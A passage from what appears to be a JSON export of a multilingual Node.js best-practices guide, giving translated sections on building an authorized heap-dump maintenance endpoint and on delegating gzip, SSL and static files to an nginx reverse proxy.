{\r\n  if (!baimenaDu(req)) {\r\n    return res.status(403).send(\"Ez duzu baimenik!\");\r\n  }\r\n\r\n  logger.info(\"heapdump-a generatzen\");\r\n\r\n  heapdump.writeSnapshot((err, fitxategiarenIzena) => {\r\n    console.log(\r\n      \"heapdump fitxategia prest dago eskariari bidaltzeko\",\r\n      fitxategiarenIzena\r\n    );\r\n    fs.readFile(fitxategiarenIzena, \"utf-8\", (err, data) => {\r\n      res.end(data);\r\n    });\r\n  });\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Gomendatutako baliabideak\r\n\r\n[Zure Node.js aplikazioaren ekoizpena prestatzea (diapositibak)](http://naugtur.pl/pres3/node2prod)\r\n\r\n▶ [Zure Node.js aplikazioaren ekoizpena prestatzea (bideoa)](https://www.youtube.com/watch?v=lUsNne-_VIk)\r\n\r\n![Zure Node.js aplikazioaren ekoizpena prestatzea](../../assets/images/createmaintenanceendpoint1.png \"Zure Node.js aplikazioaren ekoizpena prestatzea\")\r\n"
  },
  {
    "path": "sections/production/createmaintenanceendpoint.brazilian-portuguese.md",
    "content": "# Crie um ‘endpoint de manutenção’\r\n\r\n<br/><br/>\r\n\r\n### Explicação em um Parágrafo\r\n\r\nUm endpoint de manutenção é uma API HTTP altamente seguro que faz parte do código da aplicação e sua finalidade é ser usado pela equipe de operação/produção para monitorar e expor a funcionalidade de manutenção. Por exemplo, ele pode retornar um dump de heap (instantâneo de memória) do processo, relatar se há algum vazamento de memória e até mesmo permitir executar comandos REPL diretamente. Esse endpoint é necessário onde as ferramentas DevOps convencionais (produtos de monitoramento, logs, etc) não conseguem reunir algum tipo específico de informações ou você escolhe não comprar/instalar tais ferramentas. A regra de ouro é usar ferramentas profissionais e externas para monitorar e manter a produção, que geralmente são mais robustas e precisas. Dito isso, é provável que haja casos em que as ferramentas genéricas não conseguirão extrair informações específicas do Node ou da aplicação - por exemplo, caso você deseje gerar uma snapshot da memória no momento em que o GC concluiu um ciclo - algumas bibliotecas npm executarão isso para você, mas ferramentas de monitoramento populares provavelmente perderão essa funcionalidade. É importante manter esse endpoint privado e acessível apenas por administradores, pois ele pode se tornar um alvo de um ataque DDOS.\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de código: gerando um despejo de heap via código\r\n\r\n```javascript\r\nconst heapdump = require('heapdump');\r\n\r\n// Verifique se o pedido está autorizado\r\nfunction isAuthorized(req) {\r\n    // ...\r\n}\r\n\r\nrouter.get('/ops/heapdump', (req, res, next) => {\r\n    if (!isAuthorized(req)) {\r\n        return res.status(403).send('You are not authorized!');\r\n    }\r\n\r\n    logger.info('Prestes a gerar o heapdump');\r\n\r\n    heapdump.writeSnapshot((err, filename) => {\r\n        console.log('arquivo heapdump está pronto para ser enviado para o chamador', filename);\r\n        fs.readFile(filename, \"utf-8\", (err, data) => {\r\n            res.end(data);\r\n        });\r\n    });\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Recursos Recomendados\r\n\r\n[Preparando sua aplicação Node.js para produção (Slides)](http://naugtur.pl/pres3/node2prod)\r\n\r\n▶ [Preparando sua aplicação Node.js para produção (Video)](https://www.youtube.com/watch?v=lUsNne-_VIk)\r\n\r\n![Preparando sua aplicação Node.js para produção](../../assets/images/createmaintenanceendpoint1.png \"Preparando sua aplicação Node.js para produção\")\r\n"
  },
  {
    "path": "sections/production/createmaintenanceendpoint.chinese.md",
    "content": "# 创建维护端点\r\n\r\n<br/><br/>\r\n\r\n\r\n### 一段解释\r\n\r\n维护端点是一个简单的安全的HTTP API, 它是应用程序代码的一部分, 它的用途是让ops/生产团队用来监视和公开维护功能。例如, 它可以返回进程的head dump (内存快照), 报告是否存在内存泄漏, 甚至允许直接执行 REPL 命令。在常规的 devops 工具 (监视产品、日志等) 无法收集特定类型的信息或您选择不购买/安装此类工具时, 需要使用此端点。黄金法则是使用专业的和外部的工具来监控和维护生产环境, 它们通常更加健壮和准确的。这就意味着, 一般的工具可能无法提取特定于node或应用程序的信息 – 例如, 如果您希望在 GC 完成一个周期时生成内存快照 – 很少有 npm 库会很乐意为您执行这个, 但流行的监控工具很可能会错过这个功能。\r\n\r\n<br/><br/>\r\n\r\n\r\n### 代码示例: 使用代码生产head dump\r\n\r\n```javascript\r\nvar heapdump = require('heapdump');\r\n \r\nrouter.get('/ops/headump', (req, res, next) => {\r\n    logger.info(`About to generate headump`);\r\n    heapdump.writeSnapshot(function (err, filename) {\r\n        console.log('headump file is ready to be sent to the caller', filename);\r\n        fs.readFile(filename, \"utf-8\", function (err, data) {\r\n            res.end(data);\r\n        });\r\n    });\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### 推荐资源\r\n\r\n[Getting your Node.js app production ready (Slides)](http://naugtur.pl/pres3/node2prod)\r\n\r\n▶ [Getting your Node.js app production ready (Video)](https://www.youtube.com/watch?v=lUsNne-_VIk)\r\n\r\n![Getting your Node.js app production ready](../../assets/images/createmaintenanceendpoint1.png \"Getting your Node.js app production ready\")\r\n"
  },
  {
    "path": "sections/production/createmaintenanceendpoint.french.md",
    "content": "# Créez un « point de terminaison de maintenance »\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nUn point de terminaison de maintenance est une API HTTP hautement sécurisée qui fait partie du code de l'application et dont l'objectif est d'être utilisé par l'équipe d'exploitation/production pour surveiller et exposer les fonctionnalités de maintenance. Par exemple, il peut retourner un vidage de mémoire (instantané de la mémoire) du processus, signaler s'il y a des fuites de mémoire et même permettre d'exécuter directement des commandes REPL. Ce point de terminaison est nécessaire lorsque les outils DevOps classiques (produits de surveillance, journaux, etc.) ne parviennent pas à collecter un certain type d'informations spécifiques ou si vous choisissez de ne pas acheter/installer de tels outils. La règle d'or est d'utiliser des outils professionnels et externes pour le suivi et la maintenance de la production, ceux-ci sont généralement plus robustes et plus précis. Cela dit, il est probable que les outils génériques ne parviennent pas à extraire des informations spécifiques de Node ou de votre application - par exemple, si vous souhaitez générer un instantané de mémoire au moment où le GC (Garbage collection, NdT : [« Ramasse-miettes »](https://fr.wikipedia.org/wiki/Ramasse-miettes_(informatique))) a terminé un cycle - quelques bibliothèques npm se feront un plaisir de vous le faire, mais les outils de surveillance populaires manqueront probablement cette fonctionnalité. Il est important de garder ce point de terminaison privé et accessible uniquement par les administrateurs, car il peut devenir la cible d'une attaque DDOS.\n\n<br/><br/>\n\n### Exemple de code : génération d'un vidage mémoire via du code\n\n```javascript\nconst heapdump = require('heapdump');\n\n// Vérifie si la requête est autorisée\nfunction isAuthorized(req) {\n    // ...\n}\n\nrouter.get('/ops/heapdump', (req, res, next) => {\n    if (!isAuthorized(req)) {\n        return res.status(403).send('Vous n\\'êtes pas autorisé !');\n    }\n\n    logger.info('À propos de la génération du vidage mémoire');\n\n    heapdump.writeSnapshot((err, filename) => {\n        console.log('le fichier heapdump est prêt à être envoyé au demandeur', filename);\n        fs.readFile(filename, 'utf-8', (err, data) => {\n            res.end(data);\n        });\n    });\n});\n```\n\n<br/><br/>\n\n### Ressources recommandées\n\n[Préparez votre application Node.js pour la production (Slides)](http://naugtur.pl/pres3/node2prod)\n\n▶ [Préparez votre application Node.js pour la production (Vidéo)](https://www.youtube.com/watch?v=lUsNne-_VIk)\n\n![Préparez votre application Node.js pour la production](../../assets/images/createmaintenanceendpoint1.png \"Préparez votre application Node.js pour la production\")\n"
  },
  {
    "path": "sections/production/createmaintenanceendpoint.japanese.md",
    "content": "# メンテナンスエンドポイントの作成\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\nメンテナンスエンドポイントは、アプリのコードの一部であり、その目的は、ops/プロダクションチームがメンテナンス機能を監視し、公開するために使用する高度に安全な HTTP API です。 例えば、プロセスのヒープダンプ（メモリスナップショット）を返したり、メモリリークがあるかどうかを報告したり、REPL コマンドを直接実行したりすることができます。このエンドポイントは、従来の DevOps ツール（監視製品、ログなど）では特定の情報を収集できない場合や、そのようなツールを購入/インストールしないことを選択した場合に必要となります。黄金律は、生産の監視と維持のために専門的な外部ツールを使用することですが、これらは通常、より堅牢で正確です。とはいえ、一般的なツールでは、Node やアプリに固有の情報を抽出できない場合もあるでしょう。– 例えば、GC がサイクルを完了した瞬間にメモリスナップショットを生成したい場合は、以下のようになります – いくつかの npm ライブラリは喜んでこの機能を実行してくれますが、一般的なモニタリングツールはこの機能を見逃してしまう可能性があります。DDOS 攻撃の標的になる可能性があるため、このエンドポイントを非公開にし、管理者のみがアクセスできるようにしておくことが重要です。\r\n\r\n<br/><br/>\r\n\r\n### コード例: コードによるヒープダンプの生成\r\n\r\n```javascript\r\nconst heapdump = require('heapdump');\r\n\r\n// リクエストが許可されているかどうかを確認する\r\nfunction isAuthorized(req) {\r\n    // ...\r\n}\r\n\r\nrouter.get('/ops/heapdump', (req, res, next) => {\r\n    if (!isAuthorized(req)) {\r\n        return res.status(403).send('You are not authorized!');\r\n    }\r\n\r\n    logger.info('About to generate heapdump');\r\n\r\n    heapdump.writeSnapshot((err, filename) => {\r\n        console.log('heapdump file is ready to be sent to the caller', filename);\r\n        fs.readFile(filename, 'utf-8', (err, data) => {\r\n            res.end(data);\r\n        });\r\n    });\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### 推奨リソース\r\n\r\n[Node.js アプリの制作準備 (スライド)](http://naugtur.pl/pres3/node2prod)\r\n\r\n▶ [Node.js アプリの制作準備 (ビデオ)](https://www.youtube.com/watch?v=lUsNne-_VIk)\r\n\r\n![Node.js アプリの制作準備](../../assets/images/createmaintenanceendpoint1.png \"Node.js アプリの制作準備\")\r\n"
  },
  {
    "path": "sections/production/createmaintenanceendpoint.korean.md",
    "content": "# Create a maintenance endpoint\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nA maintenance endpoint is a highly secure HTTP API that is part of the app code and its purpose is to be used by the ops/production team to monitor and expose maintenance functionality. For example, it can return a heap dump (memory snapshot) of the process, report whether there are some memory leaks and even allow to execute REPL commands directly. This endpoint is needed where the conventional DevOps tools (monitoring products, logs, etc) fail to gather some specific type of information or you choose not to buy/install such tools. The golden rule is using professional and external tools for monitoring and maintaining the production, these are usually more robust and accurate. That said, there are likely to be cases where the generic tools will fail to extract information that is specific to Node or to your app – for example, should you wish to generate a memory snapshot at the moment GC completed a cycle – few npm libraries will be glad to perform this for you but popular monitoring tools will likely miss this functionality. It is important to keep this endpoint private and accessibly only by admins because it can become a target of a DDOS attack.\r\n\r\n<br/><br/>\r\n\r\n### Code example: generating a heap dump via code\r\n\r\n```javascript\r\nconst heapdump = require('heapdump');\r\n\r\n// Check if request is authorized \r\nfunction isAuthorized(req) {\r\n    // ...\r\n}\r\n\r\nrouter.get('/ops/heapdump', (req, res, next) => {\r\n    if (!isAuthorized(req)) {\r\n        return res.status(403).send('You are not authorized!');\r\n    }\r\n\r\n    logger.info('About to generate heapdump');\r\n\r\n    heapdump.writeSnapshot((err, filename) => {\r\n        console.log('heapdump file is ready to be sent to the caller', filename);\r\n        fs.readFile(filename, \"utf-8\", (err, data) => {\r\n            res.end(data);\r\n        });\r\n    });\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Recommended Resources\r\n\r\n[Getting your Node.js app production ready (Slides)](http://naugtur.pl/pres3/node2prod)\r\n\r\n▶ [Getting your Node.js app production ready (Video)](https://www.youtube.com/watch?v=lUsNne-_VIk)\r\n\r\n![Getting your Node.js app production ready](../../assets/images/createmaintenanceendpoint1.png \"Getting your Node.js app production ready\")\r\n"
  },
  {
    "path": "sections/production/createmaintenanceendpoint.md",
    "content": "# Create a maintenance endpoint\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nA maintenance endpoint is a highly secure HTTP API that is part of the app code and its purpose is to be used by the ops/production team to monitor and expose maintenance functionality. For example, it can return a heap dump (memory snapshot) of the process, report whether there are some memory leaks and even allow to execute REPL commands directly. This endpoint is needed where the conventional DevOps tools (monitoring products, logs, etc) fail to gather some specific type of information or you choose not to buy/install such tools. The golden rule is using professional and external tools for monitoring and maintaining the production, these are usually more robust and accurate. That said, there are likely to be cases where the generic tools will fail to extract information that is specific to Node or to your app – for example, should you wish to generate a memory snapshot at the moment GC completed a cycle – few npm libraries will be glad to perform this for you but popular monitoring tools will likely miss this functionality. It is important to keep this endpoint private and accessibly only by admins because it can become a target of a DDOS attack.\r\n\r\n<br/><br/>\r\n\r\n### Code example: generating a heap dump via code\r\n\r\n```javascript\r\nconst heapdump = require('heapdump');\r\n\r\n// Check if request is authorized \r\nfunction isAuthorized(req) {\r\n    // ...\r\n}\r\n\r\nrouter.get('/ops/heapdump', (req, res, next) => {\r\n    if (!isAuthorized(req)) {\r\n        return res.status(403).send('You are not authorized!');\r\n    }\r\n\r\n    logger.info('About to generate heapdump');\r\n\r\n    heapdump.writeSnapshot((err, filename) => {\r\n        console.log('heapdump file is ready to be sent to the caller', filename);\r\n        fs.readFile(filename, 'utf-8', (err, data) => {\r\n            res.end(data);\r\n        });\r\n    });\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Recommended Resources\r\n\r\n[Getting your Node.js app production ready (Slides)](http://naugtur.pl/pres3/node2prod)\r\n\r\n▶ [Getting your Node.js app production ready (Video)](https://www.youtube.com/watch?v=lUsNne-_VIk)\r\n\r\n![Getting your Node.js app production ready](../../assets/images/createmaintenanceendpoint1.png \"Getting your Node.js app production ready\")\r\n"
  },
  {
    "path": "sections/production/createmaintenanceendpoint.polish.md",
    "content": "# Utwórz punkt końcowy konserwacji\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nPunkt końcowy konserwacji to wysoce bezpieczny interfejs API HTTP, który jest częścią kodu aplikacji, a jego celem jest wykorzystanie go przez zespół operacyjny / produkcyjny do monitorowania i udostępniania funkcji konserwacji. Na przykład może zwrócić zrzut stosu (migawkę pamięci) procesu, zgłosić, czy występują wycieki pamięci, a nawet pozwolić na bezpośrednie wykonywanie poleceń REPL. Ten punkt końcowy jest potrzebny tam, gdzie konwencjonalne narzędzia DevOps (produkty do monitorowania, logi itp.) Nie zbierają niektórych określonych informacji lub nie kupujesz / nie instalujesz takich narzędzi. Złotą zasadą jest stosowanie profesjonalnych i zewnętrznych narzędzi do monitorowania i utrzymania produkcji, które są zwykle bardziej niezawodne i dokładne. To powiedziawszy, mogą wystąpić przypadki, w których ogólne narzędzia nie wyodrębnią informacji specyficznych dla Node lub aplikacji - na przykład, jeśli chcesz wygenerować migawkę pamięci w momencie, gdy GC zakończy cykl - kilka bibliotek npm chętnie to zrobi za Ciebie, ale popularne narzędzia do monitorowania prawdopodobnie nie będą miały tej funkcji. Ważne jest, aby zachować ten punkt końcowy jako prywatny i dostępny tylko dla administratorów, ponieważ może on stać się celem ataku DDOS.\n\n<br/><br/>\n\n### Przykład kodu: generowanie zrzutu sterty za pomocą kodu\n\n```javascript\nconst heapdump = require('heapdump');\n\n// Check if request is authorized \nfunction isAuthorized(req) {\n    // ...\n}\n\nrouter.get('/ops/heapdump', (req, res, next) => {\n    if (!isAuthorized(req)) {\n        return res.status(403).send('You are not authorized!');\n    }\n\n    logger.info('About to generate heapdump');\n\n    heapdump.writeSnapshot((err, filename) => {\n        console.log('heapdump file is ready to be sent to the caller', filename);\n        fs.readFile(filename, 'utf-8', (err, data) => {\n            res.end(data);\n        });\n    });\n});\n```\n\n<br/><br/>\n\n### Polecane źródła\n\n[Getting your Node.js app production ready (Slides)](http://naugtur.pl/pres3/node2prod)\n\n▶ [Getting your Node.js app production ready (Video)](https://www.youtube.com/watch?v=lUsNne-_VIk)\n\n![Getting your Node.js app production ready](../../assets/images/createmaintenanceendpoint1.png \"Getting your Node.js app production ready\")\n"
  },
  {
    "path": "sections/production/createmaintenanceendpoint.russian.md",
    "content": "# Создавайте конечную точку обслуживания\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\n\r\nКонечная точка обслуживания - это высокозащищенный HTTP API, который является частью кода приложения, и его назначение - использовать команду ops/production для мониторинга и предоставления функциональных возможностей обслуживания. Например, он может вернуть дамп кучи (моментальный снимок памяти) процесса, сообщить о наличии утечек памяти и даже разрешить выполнение команд REPL напрямую. Эта конечная точка необходима, когда обычные инструменты DevOps (продукты мониторинга, журналы и т.д.) не в состоянии собрать какой-то конкретный тип информации или вы решили не покупать/устанавливать такие инструменты. Золотое правило заключается в использовании профессиональных и внешних инструментов для мониторинга и обслуживания производства, обычно они более надежны и точны. Тем не менее, могут быть случаи, когда универсальные инструменты не смогут извлечь информацию, относящуюся к Node или вашему приложению - например, если вы захотите сгенерировать снимок памяти в момент завершения цикла GC - несколько библиотек npm буду рады сделать это за вас, но популярные инструменты мониторинга, скорее всего, упустят эту функцию. Важно сохранять эту конечную точку частной и доступной только для администраторов, поскольку она может стать целью атаки DDOS.\r\n\r\n<br/><br/>\r\n\r\n### Пример кода: создание дампа кучи с помощью кода\r\n\r\n```javascript\r\nconst heapdump = require('heapdump');\r\n\r\n// Check if request is authorized \r\nfunction isAuthorized(req) {\r\n    // ...\r\n}\r\n\r\nrouter.get('/ops/heapdump', (req, res, next) => {\r\n    if (!isAuthorized(req)) {\r\n        return res.status(403).send('You are not authorized!');\r\n    }\r\n\r\n    logger.info('About to generate heapdump');\r\n\r\n    heapdump.writeSnapshot((err, filename) => {\r\n        console.log('heapdump file is ready to be sent to the caller', filename);\r\n        fs.readFile(filename, 'utf-8', (err, data) => {\r\n            res.end(data);\r\n        });\r\n    });\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Рекомендуемые ресурсы\r\n\r\n[Подготовка вашего приложения Node.js к производственому запуску (слайды)](http://naugtur.pl/pres3/node2prod)\r\n\r\n▶ [Подготовка вашего приложения Node.js к производственому запуску (видео)](https://www.youtube.com/watch?v=lUsNne-_VIk)\r\n\r\n![Подготовка вашего приложения Node.js к производственому запуску](../../assets/images/createmaintenanceendpoint1.png \"Подготовка вашего приложения Node.js к производственому запуску\")\r\n"
  },
  {
    "path": "sections/production/delegatetoproxy.basque.md",
    "content": "# Delegatu ahal den guztia (adibidez, eduki estatikoa, gzip) alderantzizko proxy batean\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nOso tentagarria da cargo-cult Express-a kargatzea, eta haren middleware eskaintza aberatsa erabiltzea sarearekin zerikusia duten zereginetarako, hala nola, fitxategi estatikoak zerbitzatzea, gzip kodetzea, eskaerak murriztea, SSL amaierak, etab. Hori denbora alperrik galtzea da, zeren eta, azpiprozesu bakarrekoa izanik, PUZa denbora luzez edukiko baitu lanean (Gogoan izan Noderen exekuzio eredua optimizatuta dagoela zeregin laburretarako edo E / S zeregin asinkronizatuetarako). Egokiagoa da sareko zereginetan erabili ohi den tresnaren bat erabiltzea. Ezagunenak nginx eta HAproxy dira, hodeiko saltzaile handienek Node.jsren prozesuetan sarrerako karga arintzeko ere erabiltzen dituztenak.\r\n\r\n<br/><br/>\r\n\r\n### Nginx konfigurazio adibidea: erabili nginx zerbitzariaren erantzunak konprimatzeko\r\n\r\n```nginx\r\n# konfiguratu gzip konprimatzea\r\ngzip on;\r\ngzip_comp_level 6;\r\ngzip_vary on;\r\n\r\n# konfiguratu upstream\r\nupstream nireAplikazioa {\r\n    server 127.0.0.1:3000;\r\n    server 127.0.0.1:3001;\r\n    keepalive 64;\r\n}\r\n\r\n# web zebitzaria zehaztu\r\nserver {\r\n    # konfiguratu zerbitzaria ssl-arekin eta errore orriekin\r\n    listen 80;\r\n    listen 443 ssl;\r\n    ssl_certificate /some/location/sillyfacesociety.com.bundle.crt;\r\n    error_page 502 /errors/502.html;\r\n\r\n    # eduki estatikoa kudeatu\r\n    location ~ ^/(images/|img/|javascript/|js/|css/|stylesheets/|flash/|media/|static/|robots.txt|humans.txt|favicon.ico) {\r\n    root /usr/local/silly_face_society/node/public;\r\n    access_log off;\r\n    expires max;\r\n}\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Beste blogari batzuek diotena\r\n\r\n- [Mubaloo](http://mubaloo.com/best-practices-deploying-node-js-applications) bloga\r\n\r\n> …Oso erraza da tranpa honetan erortzea - ​​Express bezalako pakete bat ikusten duzu eta pentsatzen duzu \"Ikaragarria! Has gaitezen \". Ekin diozu kodetzeari eta nahi duzuna egiten duen aplikazioa duzu. Hori bikaina da eta, egia esan, ia-ia irabazia duzu borroka . Hala ere, gerra galduko duzu zure aplikazioa zerbitzari batera igotzen baduzu eta zure HTTP atakan entzuten baduzu. Izan ere, oso gauza erabakigarria ahaztu duzu: Node ez da web zerbitzaria. **Zure aplikaziora trafiko bolumen handia iristen hasi bezain laster, ohartuko zara gauzak gaizki hasten direla: konexioak erori egin dira, aktiboak zerbitzurik gabe daude edo, okerrenean, zure zerbitzariak huts egin du. Izan ere, egiten ari zarena da Noderi eskatzea bere gain har ditzala web zerbitzari zaildu batek oso ondo egiten dituen gauza korapilatsu guztiak. Zergatik asmatu gurpila?** > **Node eskaera bakarrerako da, irudi bakarrerako. Zure aplikazioak datu basea irakurtzea edo logika korapilatsua kudeatzea bezalako gauza garrantzitsuetarako erabil lezakeen memoria alperrik xahutzen ari da ez dagokion zereginetan. Zergatik alboratu zure eskaera erosotasunagatik?**\r\n\r\n- [Argteam](http://blog.argteam.com/coding/hardening-node-js-for-production-part-2-using-nginx-to-avoid-node-js-load) bloga\r\n\r\n> Express.jsk middleware konektatuen bidez fitxategi estatikoen kudeaketa integratua egiten duen arren, ez zenuke inoiz erabili beharko. **Nginx-ek askoz hobeto kudea ditzake fitxategi estatikoak eta ekidin dezake eduki ez dinamikoko eskaerek blokeatzea gure node prozesuak**…\r\n"
  },
  {
    "path": "sections/production/delegatetoproxy.brazilian-portuguese.md",
    "content": "# Delegue tudo o que for possível (por exemplo, gzip, SSL) a um proxy reverso\r\n\r\n<br/><br/>\r\n\r\n### Explicação em um Parágrafo\r\n\r\nÉ muito tentador carregar o Express e usar suas várias opções de middleware para tarefas relacionadas à rede, como servir arquivos estáticos, codificação gzip, solicitações de limitação, terminação SSL etc. Isso é uma perda de desempenho devido ao seu modelo de thread único que manterá a CPU ocupada por longos períodos (Lembre-se, o modelo de execução do Node é otimizado para tarefas curtas ou tarefas relacionadas a IO assíncrono). Uma abordagem melhor é usar uma ferramenta especializada em tarefas de rede - os mais populares são o nginx e o HAproxy, que também são usados ​​pelos maiores fornecedores de nuvem para aliviar a carga recebida nos processos node.js.\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de configuração do Nginx - usando o nginx para compactar as respostas do servidor\r\n\r\n```nginx\r\n# configurar compactação gzip\r\ngzip on;\r\ngzip_comp_level 6;\r\ngzip_vary on;\r\n\r\n# configurar upstream\r\nupstream myApplication {\r\n    server 127.0.0.1:3000;\r\n    server 127.0.0.1:3001;\r\n    keepalive 64;\r\n}\r\n\r\n#definindo servidor da web\r\nserver {\r\n    # configurar servidor com páginas ssl e de erro\r\n    listen 80;\r\n    listen 443 ssl;\r\n    ssl_certificate /some/location/sillyfacesociety.com.bundle.crt;\r\n    error_page 502 /errors/502.html;\r\n\r\n    # lidando com conteúdo estático\r\n    location ~ ^/(images/|img/|javascript/|js/|css/|stylesheets/|flash/|media/|static/|robots.txt|humans.txt|favicon.ico) {\r\n    root /usr/local/silly_face_society/node/public;\r\n    access_log off;\r\n    expires max;\r\n}\r\n```\r\n\r\n<br/><br/>\r\n\r\n### O que Outros Blogueiros Dizem\r\n\r\n* Do blog [Mubaloo](http://mubaloo.com/best-practices-deploying-node-js-applications):\r\n> …É muito fácil cair nessa armadilha - Você vê um pacote como o Express e pensa “Incrível! Vamos começar ”- você codifica e tem uma aplicação que faz o que você deseja. Isso é excelente e, para ser honesto, você ganhou muito da batalha. No entanto, você perderá a guerra se fizer o upload do seu aplicativo em um servidor e escutá-lo na porta HTTP, porque esqueceu uma coisa muito importante: o Node não é um servidor da web. **Assim que qualquer volume de tráfego começar a bater em sua aplicação, você perceberá que as coisas começam a dar errado: as conexões são interrompidas, os recursos deixam de ser exibidos ou, no pior dos casos, o servidor falha. O que você está fazendo é tentar fazer com que o Node lide com todas as coisas complicadas que um servidor da Web comprovado faz muito bem. Por que reinventar a roda?**\r\n> **Isto é apenas para um pedido, para uma imagem e tendo em conta que esta é a memória que a sua aplicação poderia ser usada para coisas importantes como ler uma base de dados ou lidar com lógica complicada; por que você prejudicaria sua aplicação apenas por conveniência?**\r\n\r\n* Do blog [Argteam](http://blog.argteam.com/coding/hardening-node-js-for-production-part-2-using-nginx-to-avoid-node-js-load):\r\n> Embora o express.js tenha manipulação interna de arquivos estáticos através de algum middleware de conexão, você nunca deve usá-lo. **O Nginx pode fazer um trabalho muito melhor ao lidar com arquivos estáticos e pode impedir que solicitações de conteúdo não dinâmico obstruam nossos processos do Node**…\r\n"
  },
  {
    "path": "sections/production/delegatetoproxy.chinese.md",
    "content": "# 委托任何可能的 (例如静态内容，gzip) 到反向代理\r\n\r\n<br/><br/>\r\n\r\n\r\n### 一段解释\r\n\r\n过度使用Express，及其丰富的中间件去提供网络相关的任务，如服务静态文件，gzip 编码，throttling requests，SSL termination等，是非常诱人的。由于Node.js的单线程模型，这将使CPU长时间处于忙碌状态 (请记住，node的执行模型针对短任务或异步IO相关任务进行了优化)，因此这是一个性能消耗。一个更好的方法是使用专注于处理网络任务的工具 – 最流行的是nginx和HAproxy，它们也被最大的云供应商使用，以减轻在Node.js进程上所面临的负载问题。\r\n\r\n<br/><br/>\r\n\r\n\r\n### 代码示例 – 使用 nginx 压缩服务器响应\r\n\r\n```\r\n# 配置 gzip 压缩\r\ngzip on;\r\ngzip_comp_level 6;\r\ngzip_vary on;\r\n\r\n# 配置 upstream\r\nupstream myApplication {\r\n    server 127.0.0.1:3000;\r\n    server 127.0.0.1:3001;\r\n    keepalive 64;\r\n}\r\n\r\n#定义 web server\r\nserver {\r\n    # configure server with ssl and error pages\r\n    listen 80;\r\n    listen 443 ssl;\r\n    ssl_certificate /some/location/sillyfacesociety.com.bundle.crt;\r\n    error_page 502 /errors/502.html;\r\n\r\n    # handling static content\r\n    location ~ ^/(images/|img/|javascript/|js/|css/|stylesheets/|flash/|media/|static/|robots.txt|humans.txt|favicon.ico) {\r\n    root /usr/local/silly_face_society/node/public;\r\n    access_log off;\r\n    expires max;\r\n}\r\n```\r\n\r\n<br/><br/>\r\n\r\n### 其他博客作者说什么\r\n\r\n* 摘自博客 [Mubaloo](http://mubaloo.com/best-practices-deploying-node-js-applications):\r\n> …很容易落入这个陷阱 – 你看到一个包比如Express，并认为 \"真棒!让我们开始吧\" – 你编写了代码，你实现了一个应用程序，做你想要的。这很好，老实说，你已经完成了大部分的事情。但是，如果您将应用程序上传到服务器并让它侦听 HTTP 端口，您将搞砸这个应用，因为您忘记了一个非常关键的事情: node不是 web 服务器。**一旦任何流量开始访问你的应用程序， 你会发现事情开始出错:  连接被丢弃，资源停止服务，或在最坏的情况下，你的服务器崩溃。你正在做的是试图让node处理所有复杂的事情，而这些事情让一个已验证过了的 web 服务器来处理，再好也不会过。为什么要重新造轮子？It**\r\n> **这只是为了一个请求，为了一个图像，并铭记在脑海中，您的应用程序可以用于重要的东西，如读取数据库或处理复杂的逻辑; 为了方便起见，你为什么要削弱你的应用？**\r\n\r\n\r\n* 摘自博客 [Argteam](http://blog.argteam.com/coding/hardening-node-js-for-production-part-2-using-nginx-to-avoid-node-js-load):\r\n> 虽然 express.js 通过一些connect中间件处理静态文件，但你不应该使用它。**Nginx 可以更好地处理静态文件，并可以防止请求动态内容堵塞我们的node进程**…\r\n"
  },
  {
    "path": "sections/production/delegatetoproxy.french.md",
    "content": "# Déléguez tout ce qui est possible (par exemple gzip, SSL) à un proxy inverse\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nIl est très tentant de faire appel à cargo-cult d'Express et d'utiliser son riche middleware pour les tâches liées au réseau, comme le service de fichiers statiques, l'encodage gzip, les requêtes de restriction, la terminaison SSL, etc. C'est une perte de performance due à son modèle de processus unique qui gardera le CPU occupé pendant de longues périodes (Rappelez-vous, le modèle d'exécution de Node est optimisé pour des tâches courtes ou des tâches liées à des E/S asynchrones). Une meilleure approche est d'utiliser un outil qui maîtrise les tâches réseau - les plus populaires sont nginx et HAproxy qui sont également utilisés par les plus grands vendeurs du cloud pour alléger la charge entrante sur les processus node.js.\n\n<br/><br/>\n\n### Exemple de configuration Nginx - Utilisation de nginx pour compresser les réponses du serveur\n\n```nginx\n# configure la compression gzip\ngzip on;\ngzip_comp_level 6;\ngzip_vary on;\n\n# configure upstream\nupstream myApplication {\n    server 127.0.0.1:3000;\n    server 127.0.0.1:3001;\n    keepalive 64;\n}\n\n# définition du serveur web\nserver {\n    # configure le serveur avec ssl et des pages d'erreur\n    listen 80;\n    listen 443 ssl;\n    ssl_certificate /some/location/sillyfacesociety.com.bundle.crt;\n    error_page 502 /errors/502.html;\n\n    # gestion du contenu statique\n    location ~ ^/(images/|img/|javascript/|js/|css/|stylesheets/|flash/|media/|static/|robots.txt|humans.txt|favicon.ico) {\n    root /usr/local/silly_face_society/node/public;\n    access_log off;\n    expires max;\n}\n```\n\n<br/><br/>\n\n### Ce que disent les autres blogueurs\n\n* Extrait du blog de [Mubaloo](http://mubaloo.com/best-practices-deploying-node-js-applications):\n> …Il est très facile de tomber dans ce piège - Vous voyez un paquet comme Express et pensez « Génial ! Commençons » - vous codez et vous avez une application qui fait ce que vous voulez. C'est excellent et, pour être honnête, vous avez gagné beaucoup de bataille. Cependant, vous perdrez la guerre si vous téléchargez votre application sur un serveur et que vous la faites écouter sur votre port HTTP parce que vous avez oublié une chose très cruciale : Node n'est pas un serveur Web. **Aussitôt qu'un volume de trafic quelconque commence à toucher votre application, vous remarquerez que les choses commencent à mal tourner : les connexions sont interrompues, les ressources cessent d'être servis ou, au pire, votre serveur se plante. Ce que 